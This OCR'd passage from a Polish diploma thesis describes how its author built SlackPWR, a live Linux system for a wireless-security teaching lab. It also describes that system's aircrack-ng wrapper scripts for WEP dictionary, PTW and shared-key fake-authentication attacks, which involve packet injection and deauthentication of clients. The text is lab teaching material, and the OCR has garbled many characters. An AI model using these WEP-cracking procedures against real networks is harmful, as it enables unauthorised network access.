instrukcje dotyczace konfiguracji oraz aplikowania wymienionych ponizej sktadnikow
zostaty doktadnie omowione we wskazanych Zrodtach literaturowych. Oprogramowanie

to sktada si¢ z nastgpujacych elementow:

a) tata wprowadzajaca do jadra obstuge systemu plikdw SquashFS [19];
b) tlata wprowadzajaca do jadra obstuge kompresji LZM dla SquashFS [19];
c) tata wprowadzajaca do jadra obstugg systemu plikow AUFS [20].

Aplikacja powyzszych tat na Zrodla jadra Linux-2.6.20 jest (w przypadku
omawianego systemu operacyjnego) jedynym aspektem modyfikacji kodu jadra. W
nastgpnym kroku nalezy przeprowadzi¢ konfiguracj¢ jadra. Mozna tego dokona¢ na
kilka sposobow. Najwygodniejszym z nich jest uruchomienie w katalogu ze Zrodtami

jadra specjalnego programu do konfiguracji:

make menuconfig

Przy jego pomocy mozna wlaczy¢/wytaczy¢ poszczegodlne funkcje, uzyskaé informacje

na ich temat oraz zadecydowac czy dana funkcja zostanie umieszczona bezposrednio w
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pliku jadra czy jako osobny modul w odpowiednim katalogu. Istnieje rowniez
mozliwo$¢ recznej konfiguracji poprzez edycj¢ pliku o nazwie .config, ktory znajduje
si¢ w katalogu ze zrodtami jadra. Jest ona o wiele szybsza niz poprzednia w przypadku,
gdy w instrukcji instalacji dodatkowego oprogramowania podane sa wymagania
bezposrednio w postaci nazwy systemowej funkcji w jadrze. Taka sytuacja ma miejsce
przy instalacji sterownikdw do chipsetow bezprzewodowych z rodziny Atheros o
nazwie MadWifi. Wymagaja one jadra z serii 2.4.23+ lub dowolnego z serii 2.6.x oraz

nast¢pujacych komponentow skonfigurowanych jako moduty lub element pliku jadra:

a) CONFIG_NET RADIO — obstuga rozszerzenia sieci bezprzewodowych;

b) CONFIG_SYSCTL — mozliwo$¢ zmiany parametréw jadra bez jego ponownej
kompilacji;

c¢) CONFIG _CRYPTO - obstuga srodowiska kryptograficznego;

d) CONFIG CRYPTO HMAC — obstuga algorytmu HMAC;

e) CONFIG _CRYPTO AES — obstuga algorytmu AES.

Pozostate komponenty jadra zostaly wybrane na podstawie konfiguracji przedstawione;j
w [16] z uwzglednieniem drobnych zmian. Plik konfiguracyjny jadra systemu
umieszczono w katalogu /home systemu operacyjnego. Dzigki wykorzystaniu jednego z
najnowszych jader w chwili obecnej oraz uniwersalnej jego konfiguracji, opracowany
system operacyjny SlackPWR jest kompatybilny z wigkszoscia obecnie uzywanego
sprzgtu komputerowego (chipsety ptyt gldownych, procesory, karty graficzne).

Ostatnim etapem przygotowywania najwazniejszego elementu systemu jest jego
kompilacja, odpowiednia instalacja oraz uruchomienie. Caty proces kompilacji jest

automatyczny i rozpoczyna si¢ wywolaniem (w katalogu ze zrodtami) polecenia:

make bzImage modules modules install

Powyzsza linijka powoduje utworzenie pliku jadra o nazwie bzImage w podkatalogu
arch/i386/boot oraz utworzenie 1 skopiowanie plikow modutow jadra do katalogu
/lib/modules/2.6.20. Po zakonczeniu kompilacji 1 instalacji modutéw skopiowano plik
bzImage do katalogu /boot w systemie 1 dla ogdlnego porzadku zmieniono jego nazwg

na vmlinuz. Przed ponownym uruchomieniem SlackPWR, dodano do pliku /etc/lilo.conf
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wpis informujacy program rozruchowy o nowo zainstalowanym jadrze oraz, w celu

jego aktualizacji, wydano polecenie:

lilo -v

8.3. Modyfikacja oraz instalacja sterownikow kart sieciowych

Po pomy$lnym uruchomieniu systemu operacyjnego na jadrze Linux-2.6.20
przystapiono do modyfikacji oraz instalacji specjalnych sterownikow dla kart WLAN.
Po wielu analizach mozliwos$ci réznych chipsetéw kart bezprzewodowych stwierdzono,
ze najwigksze (w tym mozliwo§¢ wstrzykiwania pakietéw do sieci WLAN) oferuja
uklady z rodziny Atheros. Dla systemow linuksowych powstat projekt internetowy o
nazwie MadWifi [21], ktory udostgpnia kod zrodlowy sterownikow, gotowy do
kompilacji oraz instalacji jako dodatkowe moduty jadra. Rownolegle z omawianymi
sterownikami wydawane sa tady modyfikujace ich kod, dostgpne wraz z pakietem
aircrack-ng. Poprawki do kodu modyfikuja go w celu umozliwienia wykonywania
niestandardowych operacji przez interfejs bezprzewodowy np. wstrzykiwania rdéznego
rodzaju pakietow do sieci.

Instalacja omawianych sterownikow przebiegta zgodnie 2z technikami
przedstawionym w punkcie 10.2. Najpierw jednak ich kod Zrédlowy zmodyfikowano za
pomoca odpowiednich tat, umieszczonych w pakiecie aircrack-ng. Od tego momentu
system SlackPWR oferuje pelne wsparcie dla kazdej karty bezprzewodowe; WLAN,
opartej o dowolny uktad z rodziny Atheros. Dodatkowo wsparcie to jest niezalezne od
rodzaju ztacza, poprzez ktore karta WLAN podlaczona jest do systemu. Zatem mozliwe
jest wykorzystanie niniejszego systemu w przypadku kart bezprzewodowych zar6wno
PCI (komputer stacjonarny), MINI-PCI (laptop, urzadzenia typu router-board) jak i
PCMCIA (laptop).

Poniewaz projektowany system operacyjny powinien (zgodnie z zatozeniami)
spetnia¢ réwniez funkcje serwera omawianych wczesniej ustug, musi on obstugiwaé
przewodowe interfejsy sieciowe LAN. Problem ten rozwiazany zostal juz na etapie
konfiguracji jadra, gdzie uaktywniono wsparcie praktycznie dla wszystkich uktadow

wykorzystywanych w kartach Fast Ethernet.
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8.4. Instalacja dodatkowego oprogramowania

Ostatnim z etapow instalacji komponentdbw w systemie jest instalacja
omowionych w punktach 7.5 oraz 9.3 narzedzi do badania zabezpieczen sieci WLAN.
Instalacja pakietu aircrack-ng [22] oraz asleap [23] przeprowadzona zostala w sposéb
standardowy bez uwzglednienia zadnych dodatkowych parametrow instalacji. Etap ten
udostgpnil w systemie operacyjnym wszystkie polecenia zwigzane z narzgdziami do
badania zabezpieczen w sieciach WLAN poprzez skopiowanie skompilowanych

aplikacji do katalogu /usr/local/sbin.

8.5. Szczegoly konfiguracji systemu

Konfiguracja poszczeg6dlnych ustug w systemie opiera si¢ na kilku zatozeniach,
ktore w znaczny sposob ulatwiaja pozniejsze badanie zabezpieczen. Po pierwsze - klient
laczacy si¢ do laboratoryjnego punktu dostgpowego musi skonfigurowac tylko
polaczenie warstwy drugiej aby uzyskaé¢ réwniez taczno$¢ w warstwach wyzszych.
Kwestie t¢ rozwiazano za pomoca serwera DHCP (ang. Dynamic Host Configuration
Protocol), ktory zostal skonfigurowany zgodnie z parametrami w tabeli 8.1 a szczegoty
konfiguracji przedstawia plik /etc/dhcpd.conf w systemie operacyjnym Serwer DHCP

automatycznie przydziela nowemu hostowi w sieci konfiguracj¢ protokotu TCP/IP.

Tabela 8.1. Parametry konfiguracji serwera DHCP

Parametr Warto$¢
podsie¢ prywatna 172.16.1.0/24 (adresy IP z zakresu 172.16.1.1-254)
pula przydzielanych adresow 172.16.1.100-200
serwer DNS 172.16.1.1

W celu umozliwienia uruchomienia serwera DHCP z powyzszymi parametrami,
konieczna jest wezesniejsza konfiguracja adresu sieciowego przewodowego interfejsu o
nazwie eth(O zgodnie z danymi w tabeli 8.2. Szczegdlty konfiguracji interfejsow
sieciowych przedstawia plik /etc/rc.d/rc.inetl.conf. Warto zaznaczy¢, ze w komputerze,
na ktorym zostanie uruchomiony niniejszy system moze znajdowac si¢ wigcej niz jeden
interfejs LAN. W takim przypadku zawsze konfiguracji podlega tylko jeden o

wymienionej wczesniej nazwie eth(. Interfejs bezprzewodowy w systemie, o
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charakterystycznej dla uktadow Atheros nazwie ath(, nie podlega konfiguracji — nie
posiada on zadnego adresu IP, poniewaz wykorzystywany bedzie jedynie w warstwie
drugiej do badania zabezpieczen. Do potaczenia bezprzewodowego przewidziano

klienta, ktorego systemem operacyjnym bedzie Windows XP.

Tabela 8.2. Konfiguracja sieciowa interfejsu eth0

Parametr Warto$¢
adres IP 172.16.1.1
maska podsieci | 255.255.255.0 (klasa C)

Drugim zaloZzeniem jest, ze podtaczony juz klient po wpisaniu w dowolne;j
przegladarce internetowej (np. Internet Explorer, Mozilla Firefox, Opera, Konqueror)
dowolnego adresu, zostanie przekierowany do serwisu informacyjnego stanowiska,
znajdujacego si¢ na serwerze http. Aby speli¢ to zatozenie, w pierwszej kolejnosci
nalezato skonfigurowaé¢ serwer nazw DNS w taki sposob, aby rozwiazywat wszystkie
nazwy domenowe, przestane w zapytaniach do niego na adres serwera czyli 172.16.1.1.
W przedstawionej wczesniej konfiguracji DHCP, jako adres serwera DNS réwniez
podano 172.16.1.1. Ustawienia serwera DNS obstuguja najpopularniejsze w Internecie
strefy (domeny) typu com, pl, eu itd. Szczegély konfiguracji przedstawia plik
/etc/named.conf a poszczeg6lne strefy DNS widnieja jako pliki w katalogu /var/named.

Serwis informacyjny stanowiska zostat napisany w jezyku PHP4 oraz HTML
jako prosty kod umieszczony w pliku /home/www/index.php, wybierajacy wyswietlana
zawarto$¢ z katalogu /home/www/tresc na podstawie zmiennej go przekazywanej w
kazdym hipertaczu w menu. Za wys$wietlenie serwisu odpowiedzialny jest serwer http,
skonfigurowany zgodnie z zawartos$cia pliku /etc/apache/httpd.conf. Waznym aspektem
jego konfiguracji jest brak obstugi wirtualnych hostow, co umozliwia wyswietlenie
omawianej zawarto$ci po wywotaniu przez dowolna nazwe¢ domenowa w przegladarce
klienta.

System SlackPWR musi rowniez petni¢ funkcj¢ serwera uwierzytelniajacego w
celu wykorzystania go w momencie badania zabezpieczen WPA/WPA2 opartych na
szkielecie uwierzytelniania 802.1X. W tym celu uruchomiono ustugg serwera Radius,
ktora skonfigurowana zostala do obstugi nastgpujacych algorytméw uwierzytelniania:
PEAP (EAP-TLS oraz MS-CHAP-v2) oraz Cisco LEAP. Serwer Radius nastuchuje w
systemie na porcie 1812 (port uwierzytelniania) oraz 1813 (port rozliczenia — nie bedzie

wykorzystany) oraz oczekuje na komunikacje¢ z weryfikatorem (AP). Weryfikator do
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prawidlowej wspotpracy z serwerem musi by¢ w tej samej podsieci lokalnej co on oraz
musi mie¢ ustawiony adres serwera (172.16.1.1) i hasto ,test”. Dodatkowo serwer
uwierzytelniajacy ma uruchomione trzy konta uzytkownikow o nazwach userl, user2,
user3 z hastem ,test”, ktore wykorzystane zostana w metodzie MS-CHAP-v2 oraz
LEAP. Konfiguracja serwera Radius nie nalezy do fatwych, dlatego tez nie jest zalecana
jakakolwiek zmiana jego ustawien w trakcie pracy systemu. Pliki konfiguracyjne
omawianego serwera znajduja si¢ w katalogu /usr/local/etc/raddb.

System operacyjny dysponuje réwniez ustugami takimi jak serwer ftp oraz ssh.
Nie sa one niezbgdne do pracy na stanowisku, jednak moga by¢ wykorzystane np. w
celu sprawdzenia aktualnej przeptywnos$ci bitowej w warstwie transportowej (ftp) lub
do zdalnego zarzadzania stanowiskiem laboratoryjnym (tylko tryb tekstowy) po
uprzednim skonfigurowaniu potaczenia z Internetem.

SlackPWR umozliwia pracg na stanowisku zar6wno w trybie graficznym KDE
jak 1 w trybie tekstowym. Jednak w obu przypadkach skrypty, ktore zostaly napisane w
celu usprawnienia procedury badan, powinny zosta¢ uruchamiane z konsoli terminala.
W niniejszym systemie zaimplementowano srodowisko graficzne w celu umozliwienia
szybkiego skonfigurowania urzadzenia dostgpowego AP poprzez przegladarke stron
internetowych. Warto zauwazy¢ rdéwniez, ze opracowany system operacyjny nie
umozliwia trwatego wprowadzania zmian w jego konfiguracji co jest zaleta w
przypadku np. skasowania ktorychkolwiek plikow konfiguracyjnych lub skryptow. W
takim przypadku wystarczy ponownie uruchomi¢ system z napgdu optycznego lub

pamigci przeno$nej USB.

8.6. SlackPWR na CD/DVD lub pami¢ci USB

Przedstawiony wczes$niej system operacyjny do tego momentu zainstalowany
byt na dysku twardym komputera stacjonarnego. Za pomoca odpowiednich narzedzi,
pobranych z serwisu poswigconego dystrybucji Slax [16], utworzono gotowy do
uruchomienia z napgdu optycznego lub z przenos$nej pamigci USB niniejszy system
operacyjny. Na poczatku jednak nalezato odinstalowa¢ niepotrzebne pakiety z systemu
oraz zadba¢é, by katalog, w ktorym znajduja si¢ pliki Zrodlowe jadra oraz reszty
instalowanego oprogramowania (zazwyczaj /usr/src) nie zostal skompresowany z uwagi

na jego duzy rozmiar. Zostat on przeniesiony do folderu /fmp.
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W drugiej kolejnosci umieszczono rozpakowane oprogramowanie (skrypty)
réwniez w katalogu /tmp oraz dokonano ich konfiguracji. Jedyng praktycznie zmiang w
pliku konfiguracyjnym byto dodanie katalogu /wian do listy folderow, ktore poddane
zostaja kompresji 1 modularyzacji. Katalog ten zawiera skrypty w jezyku bash, ktoére
zostang omowione w dalszej czgéci niniejszej pracy dyplomowej i ktére stuza do
usprawnienia procedur badania zabezpieczen na projektowanym stanowisku. Po

wprowadzeniu zmian w ustawieniach oprogramowania wydano polecenie:

./build

ktoére uruchomito procedure tworzenia skompresowanych moduléw. Procedura ta, w
zaleznosci od fizycznego rozmiaru systemu na dysku, trwa okoto 2 godziny na sprzecie
o parametrach przedstawionych na poczatku niniejszego rozdzialu. Po zakonczeniu
wykonywania si¢ skryptow, w katalogu /fmp zostal utworzony folder o nazwie
live_data 1234, gdzie 1234 to losowa nazwa. Folder ten zawiera skompresowany juz
system operacyjny SlackPWR. Nastepnie w omawianym folderze uruchomiono

polecenie:

SlackPWR/make iso.sh

Skrypt ten odpowiedzialny jest za generowanie obrazu ISO ptyty CD lub DVD, ktory
nastgpnie mozna nagra¢ na czysty nosnik optyczny. Wygenerowany zostat plik o
nazwie SlackPWR.iso, ktory wraz z cala zawartoScia folderu przeniesiono poprzez
uruchomiony serwer ftp do komputera z systemem Windows XP. W celu przeniesienia
systemu operacyjnego na pamig¢ przeno$na USB, skopiowano na nig foldery boot oraz
SlackPWR znajdujace si¢ w katalogu live data 1234 w systemie Windows XP.

Nastgpnie uruchomiono skrypt, ktory zainstalowat na dysku flash program rozruchowy:

boot/bootinst.bat

W ten sposob otrzymano gotowy system, ktory mozna uruchomi¢ z pamigci USB oraz,
po przeniesieniu obrazu ISO na no$nik optyczny, system uruchamialny z ptyty CD lub

DVD.
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8.7. Dodatkowe mozliwosci systemu SlackPWR

W systemie SlackPWR zaimplementowano rowniez wiele dodatkowych

narzedzi, ktore nie sa niezbgdne do pracy stanowiska laboratoryjnego. Powodem ich

instalacji byty liczne testy, ktore nalezato przeprowadzi¢ przed oddaniem do uzytku

ostatecznej wersji systemu. SlackPWR byl testowany przez okoto dwa miesiace w

dwoch prywatnych firmach jako system do diagnostyki sieci LAN/WLAN oraz do

pracy w charakterze stacjonarnego systemu Linux. W omawianym okresie nie

stwierdzono zadnych niestabilnos$ci systemu oraz tendencji do zawieszania, co jest

charakterystyczne dla jadra Linux-2.6.20, ktore prawdopodobnie jest jednym z

najstabilniejszych w tej chwili. Tabela 8.3 przedstawia wybrane dodatkowe narzgdzia w

systemie oraz podstawowe omowienie ich funkcji.

Tabela 8.3. Dodatkowe narzedzia w SlackPWR

Nazwa narzedzia

Funkcja 1 opis

iptables

Filtr pakietéw dzialajacy w warstwie sieciowej. Przy jego pomocy
mozna w jezyku bash stworzy¢ skrypty z lancuchami regut, ktore stang
si¢ zapora sieciowa warstwy trzeciej. Oprocz filtrowania, narzedzie
oferuje funkcje zmiany logicznego adresu zrodtowego/docelowego
pakietu - translacji (Source NAT / Destination NAT). Mechanizmu S-
NAT uzywa si¢ np. do tzw. ,,udostepniania” jednego publicznego (ale nie
koniecznie) adresu IP dla innych podsieci. Mechanizm D-NAT stuzy do
tzw. ,,ukrywania” serweré6w ustug np. za brama lokalng. D-NAT
wykorzysta¢ mozna rowniez do przekierowania calego ruchu
wychodzacego z routera na dany (np. lokalny) adres IP. Dodatkowo
iptables (po zaaplikowaniu odpowiednich tat o nazwie patch-o-matic-ng)
oferuje mozliwo$ci limitowania ilo$ci potaczen, filtrowania potaczen
popularnych sieci peer-to-peer (eMule, torrent itd.) a takze filtrowania po
rodzajach ustug w warstwie aplikacji (fata layer?).

iproute (ip oraz tc)

Pakiet obslugujacy statyczny routing w systemie Linux oraz kontrole
przeplywu pakietow. Narzedzie ip umozliwia zmiang adreséw
logicznych dla interfejsow, modyfikacj¢ tras do danych podsieci poprzez
inne routery oraz tworzenie dodatkowych, spersonalizowanych tabel
routingu. Narzedzie fc (ang. traffic control) odpowiada za
nieograniczone mozliwosci podzialu pasma na routerze. Zazwyczaj
wykorzystuje si¢ je wraz z iptables, ktorymi oznacza si¢ pakiety lub
potaczenia a nastgpnie kieruje do odpowiedniej kolejki utworzonej za
pomoca fc.

iptraf

Narzedzie pokazujace aktualny ruch na interfejsie sieciowym (predkosci)
na podstawie fizycznych adresow MAC.
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9. Metody badania zabezpieczen WLAN na stanowisku

W celu utatwienia procedur badania zabezpieczen w bezprzewodowych sieciach
WLAN, w jezyku bash napisano skrypty, ktére wywoluje si¢ bezposrednio z konsoli
terminala po uprzednim ich skonfigurowaniu. W niniejszym rozdziale, przedstawione
zostana opracowane metody badania zabezpieczeh na podstawie opracowanych
skryptow, ktore zostaly umieszczone w katalogu /wlan systemu operacyjnego

SlackPWR a ich wydruki w Dodatku A do dokumentu pracy dyplomowe;.

9.1. Konfiguracja skryptow

Zanim przedstawione zostana metody badania zabezpieczen sieci WLAN,
omowiona zostanie ich konfiguracja. Pelna $ciezka do pliku konfiguracyjnego skryptow
to /wlan/config. Edycj¢ powyzszego pliku przeprowadzi¢ mozna za pomoca dowolnego
edytora tekstu dostepnego w systemie operacyjnym (np. joe, vi), jednak preferowanym
jest edytor wbudowany w menadzer plikow aplikacji mc (Midnight Commander),
dostgpny po wcisnigciu klawisza F4. Poszczegélne parametry zostaly omoéwione w

tabeli 9.1 oraz bezposrednio w omawianym pliku.

Tabela 9.1. Parametry konfiguracji skryptow

Parametr Opis oraz przyktadowa wartos¢

Kanal, na ktéorym pracuje badana sie¢ bezprzewodowa. Wartos¢
kanal parametru to liczba catkowita bedaca numerem kanatu. Przykladowa
warto$¢ to: kanal=4.

Nazwa badanej sieci bezprzewodowej SSID, bgdaca ciagiem dowolnych

ssid . o ) X
znakoéw. Przyktadowa warto$¢ to: ssid=Ilaboratorium.

Adres fizyczny MAC punktu dostgpowego badanej sieci, zgodny z
mac_ap formatem 48-bitowego adresu MAC. Przykladowa warto$¢ to:
mac_ap=00:4F:62:0D:BC:9D.

Adres fizyczny MAC skojarzonej (z punktem dostgpowym badanej sieci)
mac_sta stacji bezprzewodowej, zgodny z formatem 48-bitowego adresu MAC.
Przyktadowa wartosc¢ to: mac_sta=00:19:D2:36:50:D3.

Dhugos$¢ zastosowanego klucza WEP dla metody stownikowej. Parametr
dtugos¢_wep przyjmuje wartos¢ 64 dla 40-bitowego oraz /28 dla 104-bitowego
klucza WEP.

Format zastosowanego klucza WEP w metodzie stownikowej. Parametr

Jormat_wep przyjmuje warto$¢ 0 dla ASCII oraz / dla HEX.

Adres fizyczny MAC lokalnego interfejsu bezprzewodowego ath0) w
mac_local systemie. Parametr generowany jest automatycznie i nie nalezy go
zmieniac!
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W celu ustalenia powyzszych parametrow, nalezy najpierw skonfigurowaé punkt
dostepowy do pracy w odpowiednim trybie oraz doprowadzi¢ do skojarzenia klienta
(komputer z systemem Windows XP) z AP. Przyktadowe konfiguracje AP oraz klienta
sieci przedstawione zostana w kolejnym rozdziale niniejszej pracy dyplomowe;.
Nastgpnie nalezy przelaczy¢ interfejs bezprzewodowy w tryb Monitor poprzez
uruchomienie skryptu:

/wlan/monitor-on

Kazdy skrypt uruchomi¢ mozna na dwa sposoby. Pierwszym z nich jest
wpisanie podanych $ciezek do skryptow bezposrednio w terminalu. Drugim — bardziej
komfortowym i preferowanym — jest uruchomienie skryptu poprzez menadzer plikow
mc. Po uruchomieniu niniejszego skryptu, interfejs bezprzewodowy przetaczony
zostanie w tryb Monitor a nast¢pnie uruchomiona zostanie aplikacja airodump-ng w
trybie pracy na wszystkich obstugiwanych kanatach w celu wykrycia pobliskich sieci
bezprzewodowych. Rysunek 9.1 przedstawia zrzut ekranu z uruchomiona aplikacja

airodump-ng oraz zaznaczonymi potrzebnymi parametrami.

CH 4 ][ Elapsed: 1 min ][ 2007-06-06 14:03
ES3ID PWER Eeacons #Dhata, #/3 CH MNE ENC CIPHER AUTH E33ID

{o0:aF:ez:0D:BC:oD] 46 120 209 2 [4] s& WEP WEF
00:30:4F:37:FL:AE 2 13 u} u} 5 11 OFN moCcnet
00:30:4F:531:F2:EF 2 16 a a 4 22 CPN chornikinet
00:90:4E:C6:5C:DF -1 o 17 1 1 -1 OFN <length: [W)=3
E3SID STATICN FWE Lost| Packets Probes
O0:4F:62:0D:BC: 9D DD:19:D2:36:SD:D3| 53 42 229 laboratorium
00:90:4E:C6:8C:DF | O0:4F:62:0D: 62 :ES 24 57 17

~mac_ap Lmac_sta = kanal —ssid

Rys. 9.1. Parametry konfiguracji skryptow na podstawie airodump-ng

Bardzo przydatna cecha airodump-ng jest mozliwo$¢ wykrywania adresow
fizycznych MAC  stacji  bezprzewodowych skojarzonych z danym punktem
dostepowych oraz wyswietlania parametrow takich jak: #Data (ilo$¢ przestanych i
odebranych pakietoéw danych), #5s (ilo§¢ pakietow na sekundg¢ w transmisji), MB
(obstlugiwana predkos¢ przez AP), ENC (standard zabezpieczen), CIPHER (algorytm
poufnosci danych), AUTH (metoda uwierzytelniania) oraz Probes (sieci

bezprzewodowe, z ktorymi dana stacja probuje si¢ potaczyc).
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9.2. Badanie podatnosci WEP na atak slownikowy

W katalogu /wlan/slowniki umieszczono przyktadowe dwa pliki tekstowe
stownikéw. Pierwszy (wep-ascii.txt) zawiera stowa ASCII, 13-znakowe dla WEP-104-
bit oraz 5-znakowe dla WEP-40-bit. Drugi (wep-hex.txt) zawiera stowa w notacji
heksadecymalnej (znaki od 0 do F) o dlugosci 26 znakéw dla WEP-104-bit oraz 10
znakéw dla  WEP-40-bit. Dodatkowo kazdy bajt (kazde 2 znaki slowa
heksadecymalnego) rozdzielone zostaty przez ,,:”. Kazde stowo obu plikow stownika
musi by¢ umieszczone w osobnym wierszu pliku.

Badanie podatnosci algorytmu WEP na atak slownikowy sktada si¢ z dwoch
krokow. Pierwszym z nich jest przelaczenie interfejsu bezprzewodowego na
komputerze do badania zabezpieczen w tryb Monitor, w ktérym przechwytuje on tylko
pakiety od zdefiniowanego w konfiguracji punktu dostgpowego raz tylko na

okreslonym kanale. Za wykonanie powyzszych czynno$ci odpowiada skrypt:

/wlan/wep-dict/krokl

Przed przejsciem do kolejnego kroku, wymagane jest przechwycenie
przynajmniej jednego pakietu danych, zaszyfrowanego algorytmem WEP z transmisji
pomigdzy AP a skojarzonym klientem. W tym celu wykorzysta¢ mozna przegladarke
skojarzonego klienta, otwierajac w niej adres dowolnego serwisu internetowego.
Wyswietlony zostanie serwis informacyjny stanowiska, co spowoduje przestanie
wystarczajacej iloSci zaszyfrowanych pakietow danych migdzy AP a skojarzonym
klientem. Nastgpnie nalezy dokona¢ proby znalezienia klucza WEP z okres§lonego pliku
stownika, ktéry wybierany jest na podstawie parametru format wep, zdefiniowanego w

konfiguracji. Powyzsza procedurg uruchamia skrypt:

/wlan/wep-dict/krok?2

Jesli szukany klucz WEP o okreslonej dtugosci znajdowal si¢ w okreslonym
stowniku, zostanie on wyswietlony na ekranie po zakonczeniu wykonywania skryptu w
formacie ASCII oraz heksadecymalnym. W przeciwnym wypadku, wyswietlona

zostanie stosowna informacja przez aplikacje aircrack-ng.
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9.3. Badanie podatnosci WEP na atak metodg PTW

Wyznaczanie klucza WEP metoda PTW, ktora zostata oméwiona w punkcie 7.4
niniejszej pracy dyplomowej, jest najszybszym 1 najpewniejszym rozwigzaniem.
Metoda FMS wymaga duzej ilosci zebranych pakietow zatem jest zbyt czasochtonna jak
na rozwiazanie dla stanowiska laboratoryjnego a efekty jej dziatania sa identyczne jak
w przypadku PTW. Zanim w algorytmie wyznaczania klucza zostanie zastosowana
metoda niemieckich kryptografow, wykonywane sa procedury zwiazane z
przechwytywaniem odpowiedniej ilosci pakietow do dalszej analizy. Procedury te
roéznia si¢ w zalezno$ci od zastosowanego rodzaju uwierzytelniania (otwartego lub z
kluczem wspoétdzielonym). W zwiazku z tym badanie podatnosci klucza WEP na atak

metoda PTW rozdzielono na dwie niezalezne metody.

9.3.1. Uwierzytelnianie otwarte

Uwierzytelnianie otwarte, zataczone w konfiguracji punktu dostgpowego, daje
dowolnej stacji bezprzewodowej mozliwo$¢ skojarzenia z punktem dostgpowym.
Jednak po pomys$lnym potaczeniu nie dojdzie do transmisji bez znajomosci klucza WEP
przez klienta sieci bezprzewodowej. Mimo to mozliwa jest sytuacja, kiedy skojarzony
klient rozpozna -charakterystyczne pakiety w sieci 1 przesle je dalej w celu
wygenerowania tzw. sztucznego ruchu. Takimi pakietami sa wlasnie pakiety Zzadania
ARP wysylane na adres rozgtoszeniowy sieci (FF:FF:FF:FF:FF:FF), posiadajace stala
dlugos¢ 68 bajtow dla siect WLAN. Po zidentyfikowaniu pierwszego pakietu zadania
ARP, mozliwe jest ciagle jego ,,wstrzykiwanie” do sieci bezprzewodowej, gdzie kazdy
inny skojarzony klient odbierze go. Za wykonanie powyzszych czynno$ci odpowiada

skrypt:

/wlan/wep-open/krokl

Dodatkowo kazdy, wystany w ten sposob pakiet zadania ARP, zaszyfrowany
zostanie innym strumieniem klucza o kolejnej (lub losowej) wartoSci wektora
inicjacyjnego IV, co umozliwi w bardzo krotkim czasie zebranie odpowiedniej liczby
danych. Aby przyspieszy¢ wygenerowanie pierwszego pakietu zadania ARP, nalezy

doprowadzi¢ do anulowania uwierzytelnienia skojarzonego klienta i ponownego jego
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polaczenia z siecia bezprzewodowa. Pakiet ten zostanie wygenerowany chwile po
przyznaniu konfiguracji protokotu TCP/IP dla klienta od serwera DHCP. Nastgpnie
nalezy rozpocza¢ przechwytywanie pakietébw od punktu dostgpowego, ktorego
parametry zostaly zdefiniowane w pliku konfiguracyjnym dla skryptéw. Wszystkie

powyzsze czynno$ci wykonywane sa przez skrypt:

/wlan/wep-open/krok2

Dla 104-bitowego klucza WEP wystarczy zebra¢ okoto 40-60 tysigcy pakietow
danych. Liczba ta widoczna jest w airodump-ng, uruchomionym w poprzednim kroku.
W przypadku 40-bitowego WEP, po przechwyceniu 20-40 tysigcy pakietow istnieje
duze prawdopodobienstwo wyznaczenia klucza metoda PTW. Caty proces
przechwytywania danych zajmuje, w zaleznosci od warunkoéw, okoto minutg. Ostatnim
etapem wyznaczania bajtow klucza jest zastosowanie metody niemieckich

kryptografow. Za tg czynno$¢ odpowiada skrypt:

/wlan/wep-open/krok3

Powyzszy skrypt uruchamia aplikacje aircrack-ng z odpowiednia opcja,
wlaczajaca algorytm PTW. Aplikacja ta dziata jednak wolniej niz oryginalna aplikacja
aircrack-ptw, ktora dodatkowo zostala zainstalowana w systemie przy okazji instalacji
omawianego wczesniej pakietu. Aby alternatywnie wyznaczy¢ warto$¢ klucza WEP za

pomoca oryginalnej aplikacji PTW, nalezy uruchomi¢ skrypt:

/wlan/wep-open/krok3-alt

9.3.2. Uwierzytelnianie z kluczem wspoldzielonym

W przypadku uwierzytelniania z kluczem wspoldzielonym, tylko klient, ktory
zna wiasciwy klucz WEP zostanie skojarzony z punktem dostgpowym. Pozytywna
decyzja o autoryzacji zostaje podjeta przez AP w momencie odebrania od klienta
zaszyfrowanej odpowiednim kluczem WEP odpowiedzi na wyslany wcze$niej tekst
wezwania. Istnieje jednak mozliwo§¢ przechwycenia zaszyfrowanej odpowiedzi

autoryzowanego klienta a nast¢gpnie wykorzystania jej do fatszywego uwierzytelnienia
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nieautoryzowanej stacji bezprzewodowej. Jedynym warunkiem powodzenia takiej
operacji jest, aby punkt dostgpowy wysytat za kazdym razem taki sam tekst wezwania.
W czasie przeprowadzania analiz omawianej sytuacji stwierdzono, ze niektore AP nie
pozwalaja na dwukrotna autoryzacje dla tego samego tekstu wezwania. Jednak po kilku
doswiadczeniach zauwazono, ze punkt dostgpowy okresla czas, w jakim dany tekst
wezwania moze zosta¢ wykorzystany do uwierzytelnienia. Zatem rozwigzaniem
problemu jest proba falszywego uwierzytelnienia natychmiast po przechwyceniu
zaszyfrowanej odpowiedzi na challenge text.

Skrypty znajdujace si¢ w katalogu /wlan/wep-shared funkcjonuja podobnie do
omawianych w przypadku uwierzytelniania otwartego. Rdznica jest implementacja
metody, umozliwiajacej falszywe uwierzytelnienie. W pierwszym kroku interfejs
bezprzewodowy zostaje przetaczony w tryb Monitor do nastuchiwania na okreslonym w
konfiguracji kanale. W przeciwienstwie do poprzednich skryptdéw, przed rozpoczgciem
przechwytywania pakietow nastgpuje pierwsze (z dwoch) anulowanie uwierzytelnienia
poprawnie skojarzonego klienta. W tej samej chwili uruchamiane jest przechwytywanie

pakietow. Skrypt wykonujacy powyzsze czynnosci to:

/wlan/wep-shared/krokl

Airodump-ng automatycznie przechwytuje zaszyfrowany tekst wezwania,
zapisuje go do osobnego pliku z rozszerzeniem *.xor oraz kontynuuje zadang wczes$niej
procedure. Nastepnie plik ten zostaje wykorzystany do falszywego uwierzytelnienia
nieautoryzowanej stacji bezprzewodowej. W stanie falszywego skojarzenia z punktem
dostepowy nastgpuje drugie anulowanie uwierzytelnienia autoryzowanego klienta oraz
aktywowany jest proces wstrzykiwania pakietow. Operacje te nastgpuja od razu po
sobie, zatem w momencie wystania pierwszego pakietu zadania ARP (po ponownym
uwierzytelnieniu klienta znajacego klucz WEP, ktdre trwa okoto 2 sekundy) rozpoczyna
si¢ generowanie sztucznego ruchu w sieci. W przypadku uwierzytelniania z kluczem
wspotdzielonym, bardzo wazne jest aby dwa pierwsze skrypty uruchomi¢ w krotkich
odstgpach czasu po sobie. Drugi ze skryptow ma zaimplementowane opodznienie,
spowodowane oczekiwaniem na ponowne uwierzytelnienie autoryzowanej stacji.

Pozwala ono na natychmiastowe rozpoczgcie wykonywania skryptu po pojawieniu si¢
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pliku z zaszyfrowanym tekstem wezwania. Omawiane operacje wykonywane sa za

